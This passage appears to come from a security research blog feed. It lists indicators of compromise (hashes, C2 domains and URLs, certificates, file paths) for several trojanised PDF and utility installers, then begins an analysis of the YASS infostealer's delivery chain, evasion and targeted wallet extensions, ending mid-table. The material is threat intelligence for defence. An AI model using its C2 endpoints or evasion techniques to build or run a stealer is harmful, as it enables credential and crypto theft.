certificate.serial 56ed9a94b87a7231b56f6a02 CrystalPDF embedded payload code-signing cert serial
filepath %AppData%\FMCR\userId.txt CrystalPDF victim ID persistence file
filepath %AppData%\FMCR\ CrystalPDF malware data directory
filepath %AppData%\file_backup.txt CrystalPDF Firefox data theft transient backup
filepath %AppData%\myfile_backup.txt CrystalPDF Chrome data theft transient backup
filepath %LocalAppData%\temp\crys\CrystalPDF.exe CrystalPDF staged malware copy for scheduled task persistence
filepath %Desktop%\Crystal PDF.exe CrystalPDF dropped decoy/benign payload on Desktop
filepath %USERPROFILE%\Downloads\*.pdf CrystalPDF embedded payload output auto-opened
scheduled_task Crystal_updater CrystalPDF daily persistence task running updater role
sha256 e8b89b9fc60dc8ddb861369a7ab2cc319f23495022c4d1feb6e0cc4f3a87214c OneZip installer/stealer (BanditStealer)
domain oneoni.com OneZip primary C2 telemetry
domain zalp.oneoni.com OneZip secondary C2 session/data theft
url https://oneoni.com/oz-st OneZip initial check-in (SendVS)
url https://oneoni.com/oz-rep OneZip telemetry report (SendMap)
url https://zalp.oneoni.com/start OneZip session initiation
url https://zalp.oneoni.com/ OneZip stealer exfiltration endpoint
certificate.subject G.R.CIGAR. LTD OneZip code signing subject (IL Herzliya)
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 OneZip code signing issuer
certificate.serial 11776a855f0ee7dbe11e08e1 OneZip code signing serial
filepath %TEMP%\O\OZInfo.txt OneZip persistent victim UUID file
filepath %TEMP%\onezip\uninstall.exe OneZip installation marker
filepath %LOCALAPPDATA%\Temp\onezip\uninstall.exe OneZip installation marker (alt)
filepath %USERPROFILE%\Desktop\OneZip.lnk OneZip desktop shortcut persistence
filepath file_backup.txt OneZip backup of stolen Firefox profile file
sha256 cb42e3a751ff526912bb41337a9205cbe145f5fe80869341c79d5358c863c549 PDFDoc installer/adware main binary
domain cliedoc.com PDFDoc installer C2 domain
domain bolb.cliedoc.com PDFDoc installer C2 subdomain
url https://bolb.cliedoc.com/PDoc PDFDoc installer C2 config endpoint
certificate.subject TAMARISK INTERACTIVE LTD PDFDoc installer code-signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 PDFDoc installer code-signing cert issuer
certificate.serial 58ef7daed3c6f44b1339b5f3 PDFDoc installer code-signing cert serial
filepath %DESKTOP%\PDFDoc.lnk PDFDoc installer dropped desktop shortcut
filepath %TEMP%\Doc.Files.Pron.ico PDFDoc installer dropped shortcut icon
filepath %TEMP%\DocID\DocID.txt PDFDoc installer dropped machine GUID file
filepath %TEMP%\...\UID.txt PDFDoc installer dropped machine identifier file
sha256 865e689218d52d0d179659c1a9929231f9f4af0738835f768aff4242818b5a02 PowerDoc installer
sha256 84f4a3abbda52c9e4cda6232d05d0b07406f6b4f2c2432cc34b153a663eb20bb PowerDoc dropped native.exe (cover app)
sha256 136876316fa5da917ab4d3b5b694dff98250d9f6b2151660a2b558bea870b0c0 PowerDoc dropped uninstall.exe
domain ulinikio.com PowerDoc primary C2
domain lmbd.ulinikio.com PowerDoc data exfiltration C2
domain itayh.ulinikio.com PowerDoc API for native.exe
domain www.getpowerdoc.com PowerDoc fake product website
domain getpowerdoc.com PowerDoc uninstall redirect
url https://ulinikio.com/SlaPwrV PowerDoc installer config fetch
url https://ulinikio.com/SlaPwrLog PowerDoc installer telemetry exfil
url https://ulinikio.com/SlaPwrSuc PowerDoc installer success beacon
url https://lmbd.ulinikio.com/run PowerDoc installer session init
url https://lmbd.ulinikio.com/docMSlav PowerDoc installer data exfil
url https://itayh.ulinikio.com/powerdoc/ PowerDoc native.exe PDF API
url https://www.getpowerdoc.com/powerd-welcome PowerDoc installer post-install welcome page
url https://getpowerdoc.com/powerd-goodbye PowerDoc uninstaller goodbye page
certificate.subject GOLD HARMONY LTD PowerDoc installer/dropper signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 PowerDoc installer/dropper signing cert issuer
certificate.serial 4a6df66704fbd9b656c11ab6 PowerDoc installer/dropper signing cert serial
filepath %LocalAppData%\pwrDoc\PowerDoc.exe PowerDoc dropped cover application
filepath %LocalAppData%\pwrDoc\uninstall.exe PowerDoc dropped uninstaller
filepath %LocalAppData%\pwrDoc\PowerDocIco.ico PowerDoc dropped icon
filepath %LocalAppData%\pwrDoc\pwrDoc.txt PowerDoc machine GUID persistence file
filepath %AppData%\myfile_backup.txt PowerDoc transient backup during browser file replacement
filepath %Desktop%\PowerDoc.lnk PowerDoc installer desktop shortcut
sha256 cf1ea5d89495986f22cda4b87170a97afecc662293554b15493c11a1520153d6 PowerPlayer installer
domain kolimau.com PowerPlayer installer C2
domain haha.kolimau.com PowerPlayer installer payload delivery
url https://kolimau.com/PowerPlayer-strings PowerPlayer installer C2 config fetch
url https://kolimau.com/PowerPlayer PowerPlayer installer telemetry exfil
url https://kolimau.com/Conv PowerPlayer installer conversion tracking
url https://haha.kolimau.com/api/action/PowerPlayerLatestVersion PowerPlayer installer payload download
certificate.subject TAMARISK INTERACTIVE LTD PowerPlayer installer code-signing cert subject
certificate.issuer GlobalSign GCC R45 EV CodeSigning CA 2020 PowerPlayer installer code-signing cert issuer
certificate.serial 32650e4c7423c72bda9565bf PowerPlayer installer code-signing cert serial
filepath %TEMP%\PwrId\PwrId.txt PowerPlayer installer persistent victim GUID
filepath %TEMP%\PowerPlayer.zip PowerPlayer installer downloaded payload archive
filepath %TEMP%\PowerPlayer\NativePowerPlayer.exe PowerPlayer installer extracted companion binary
filepath %TEMP%\PowerPlayer\UninstallPP.exe PowerPlayer installer uninstaller
filepath %USERPROFILE%\Desktop\PowerPlayer.lnk PowerPlayer installer desktop shortcut &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>There's Something About CryptBot: Yet Another Silly Stealer (YASS)</title><link>https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/</link><pubDate>Tue, 10 Sep 2024 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/</guid><description>
&lt;p&gt;Recently Intezer was investigating a file that we came across during
&lt;a href="https://intezer.com/blog/incident-response/how-intezer-works/?utm_campaign=research-blog&amp;amp;utm_content=cryptbot-yet-another-silly-stealer-yass&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;alert triage&lt;/a&gt;.
This particular file piqued our interest due to the interesting delivery chain,
and the even more interesting payload, an intricate infostealer.&lt;/p&gt;
&lt;p&gt;Intezer has amazing
&lt;a href="https://intezer.com/blog/malware-analysis/code-strings-and-whats-in-between/?utm_campaign=research-blog&amp;amp;utm_content=cryptbot-yet-another-silly-stealer-yass&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;code genetic analysis technology&lt;/a&gt;,
showing us overlaps of code reuse between different files, malicious or not. We
noticed that the payload &lt;em&gt;did not have significant code overlap&lt;/em&gt; with other
infostealers. Upon researching the threat and pivoting to similar samples, we
understand that other vendors are labeling this as &lt;strong&gt;CryptBot&lt;/strong&gt;. While the
similarities are undeniable, the differences in code are significant enough
that this version warrants its own documentation, and even its own name, &lt;strong&gt;Yet
Another Silly Stealer&lt;/strong&gt; (YASS). In this blog, we&amp;rsquo;ll highlight both the
parallels and the distinctions between these two infostealers, underscoring why
this variant demands attention. This blog will give a technical analysis of the
delivery chain, as well as an analysis of the &lt;strong&gt;YASS payload&lt;/strong&gt;. The stealer was
delivered using a multi-stage downloader that we are calling
&lt;strong&gt;MustardSandwich&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The cybersecurity landscape is constantly witnessing a wave in the creation of
new and updated infostealers, with malware developers continuously innovating
to bypass defenses. While it may feel like a never-ending cat-and-mouse game,
cataloging as many of these stealers as possible remains crucial. By doing so,
we can better understand emerging tactics, enhance threat detection, and
ultimately protect our sensitive data. Every new variant cataloged strengthens
our defenses and helps to anticipate future threats, making the effort vital
despite the relentless pace of cybercriminal innovation.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig1.png" title="Attack Flow of new YASS infostealer, with some similarities and notable difference from Cryptbot" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Attack Flow of new YASS infostealer, with some similarities and notable difference from Cryptbot&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Mustard Sandwich Downloader&lt;span class="hx:absolute hx:-mt-20" id="mustard-sandwich-downloader"&gt;&lt;/span&gt;
&lt;a href="#mustard-sandwich-downloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the cases where we have identified the MustardSandwich downloader, it has
been executed using a
&lt;a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943"target="_blank" rel="noopener"&gt;Windows shell link&lt;/a&gt;
(LNK) file. The LNK file uses the Windows system binary &lt;code&gt;forfiles.exe&lt;/code&gt; to
invoke &lt;code&gt;PowerShell&lt;/code&gt; which calls &lt;code&gt;mshta&lt;/code&gt;. An example of the command line
arguments for one of the LNK files is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig2.png" title="LNK File Arguments" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;LNK File Arguments&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The LNK files are used to execute a Microsoft HTML application (HTA) using
&lt;code&gt;mshta&lt;/code&gt;. The malware abuses the looseness of the &lt;code&gt;mshta&lt;/code&gt; parser to hide the
HTML within &amp;ldquo;junk&amp;rdquo; data. The HTML document has been broken up into multiple
parts and &amp;ldquo;sandwiched&amp;rdquo; between multiple copies of the same Windows binary. The
screenshot below shows the output from binwalk of one of the files with
annotations showing where the different parts of the document are located.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig3.png" title="Binwalk output of the EXE containing HTA" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Binwalk output of the EXE containing HTA&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This technique provides some anti-analysis by automated solutions because most
solutions will identify the file as a Windows executable (PE). When the file is
executed in a sandbox, nothing malicious will happen. To invoke the malicious
code, &lt;code&gt;mshta&lt;/code&gt; must be used.&lt;/p&gt;
&lt;p&gt;The downloader consists of two JScript stages and two PowerShell stages. The
first PowerShell script is executed via an ActiveXObject, as seen in the
screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig4.png" title="JScript Payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;JScript Payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The first PowerShell script decrypts the final stages. The stage has been
encrypted using AES, and the key varies between attacks. An example of the
stages is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig5.png" title="PowerShell Payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PowerShell Payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The final stage is responsible for downloading the decoy and the malware to run
on the machine. We have observed two types of this stage, one that downloads
multiple payloads and another that only downloads one payload.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig6.png" title="Decoy Video" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoy Video&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The screenshot below shows a cleaned-up version of the &amp;ldquo;main&amp;rdquo; script function.
First, it checks if the lure exists on disk, if not, it&amp;rsquo;s downloaded and
displayed to the user. This version also appears to be tracking installations
by sending a simple web request to a separate URL. After the lure has been
displayed to the user, the two payloads are downloaded and executed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig7.png" title="PowerShell Downloading Additional Payloads" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PowerShell Downloading Additional Payloads&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The URLs hosting the payloads have been obfuscated with a simple logic. Each
character in the string has been converted to an integer and a constant has
been added to each one. The function shown below is used to reverse the
obfuscation.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig8.png" title="Decoding Function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoding Function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The payloads are downloaded as ZIP archives. The stage uses the function shown
below to extract the content and execute the payload. It&amp;rsquo;s worth noting that
the function executes the first file from an alphabetic sort of the content of
the archive.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig9.png" title="Running First File in Archive" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Running First File in Archive&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The simpler version of this stage, from a related chain, is shown below. It
doesn&amp;rsquo;t expect the payloads to be stored in ZIP files, nor have the install
tracking functionality.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig10.png" title="Simplified Version of Related Chain" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Simplified Version of Related Chain&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IDATLOADER&lt;span class="hx:absolute hx:-mt-20" id="idatloader"&gt;&lt;/span&gt;
&lt;a href="#idatloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Inside the second downloaded ZIP file (&lt;code&gt;L2.zip&lt;/code&gt;) is a single executable file.
This is a Delphi file
(&lt;code&gt;4810333bf96fb808604f3657118c734c3dd8ee4baa3e6ffe8da548ae0c8e15d3&lt;/code&gt;) that
contains a lot of boiler plate code for Delphi visual components.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig11.png" title="IDATLOADER File" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDATLOADER File&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The code for starting IDATLoader is hidden amongst all the boiler plate code.
IDATLOADER will inject shellcode into &lt;code&gt;pla.dll&lt;/code&gt; that will then extract a PNG
resource from the Delphi file and move it into the Temp folder.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig13.webp" title="PNG Containing Payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PNG Containing Payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;From this PNG, the payload is extracted, a stealer.
(&lt;code&gt;7ac46eb84f4b6d25601f23d2c30b7e80b6f3b2d82d3240234fc50af75290a29f&lt;/code&gt;)&lt;/p&gt;
&lt;h2&gt;Technical Analysis of Infostealer&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-infostealer"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-infostealer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Initialisation&lt;span class="hx:absolute hx:-mt-20" id="initialisation"&gt;&lt;/span&gt;
&lt;a href="#initialisation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS starts its operations by performing a sleep. Then the stealer will decrypt
a block of strings that are used as global variables for the stealer&amp;rsquo;s
functionality. There are two blocks of RC4 encrypted strings. A small key is
hardcoded via stack strings in the binary for decryption. The two blocks of
strings are the same strings but one is a wide char and the other is normal
ASCII.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig14.png" title="Decrypted Strings" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decrypted Strings&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This block of strings contains important information such as C2 information,
staging folders, persistence strings and functions to be dynamically resolved.
The full list of decoded strings are located
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/12516114c9d4b99f4a29704c75969f4a"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next the stealer will fetch two environment variables.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;LocalAppData: Gives appdata/local path
UserProfile: Gives path to user home&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;These variables are concatenated with two strings, in order to check for their
presence.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:\Users\[username]\AppData\Local\Gabatepi
C:\Users\admin\Desktop\Invoice.docx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The malware will exit if either exists at this point. The first path is the
location of a folder, seemingly used as a mutex to ensure only one running
instance. The latter appears to be an anti sandbox check.&lt;/p&gt;
&lt;p&gt;If the staging folder does not exist, the stealer will not exit, and will
create this directory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig15.png" title="Folder used as Mutex" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Folder used as Mutex&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Before stealing activities begin the stealer will generate a unique user ID,
ZIP it, and send it to the C2.&lt;/p&gt;
&lt;h3&gt;Location of Sensitive Data&lt;span class="hx:absolute hx:-mt-20" id="location-of-sensitive-data"&gt;&lt;/span&gt;
&lt;a href="#location-of-sensitive-data" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS starts its stealing activities by locating directories where sensitive
data is commonly held. It starts a recursive search from the user profile path:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:Users[username]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The stealer will start to iterate over each file. The file path is compared
against a very large hard coded list of directories. The directories cover many
categories, including programming, gaming, messaging, cloud storage, Office
products, torrent, utilities, and antivirus.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig16.png" title="Snippet of Targeted Directories" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Snippet of Targeted Directories&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If there is a directory match. The stealer will make a check for the folder:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Local Extension Settings&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If this is the current folder. The stealer will identify folders related to
targeted Opera and Google Chrome Extensions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig17.png" title="Check for Browser Extensions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Check for Browser Extensions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Targeted Extensions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Extension&lt;/th&gt;
&lt;th style="text-align: left"&gt;Product&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nkbihfbeogaeaoehlefnkodbefgpgknn&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ejbalbakoplchlghecdalmeeeajnimhm&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ljfoeinjpaedjfecbmggjgodbgkmjkjk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nkbihfbeogaeaoehlefnkodbefgpgknn&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bfnaelmomeimhlpmgjnjophhpkkoljpa&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Phantom&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ibnejdfjmmkpcnlpebklmnkoeoihofec&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;TronLink&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fhbohimaelbohpjbbldcngcnapndodjp&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;BNB Chain Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;jnlgamecbpmbajjfhmmmlhejkemejdma&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Braavos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dlcobpjiigpikoobohmabehhmhfoodbb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Argent X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fnjhmkhhmkbjkkabndcnnogagogbneec&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Ronin Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;afbcbjpbpfadlkmhmclhkeeodmamcflc&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Math Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fhilaheimglignddkjgofkcbgekhenbh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Oxygen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ffnbelfdoeiohenkjibnmadjiehjhajb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Yoroi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mopnmbcafieddcagagdcbnhejhlodfdd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Polkadot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
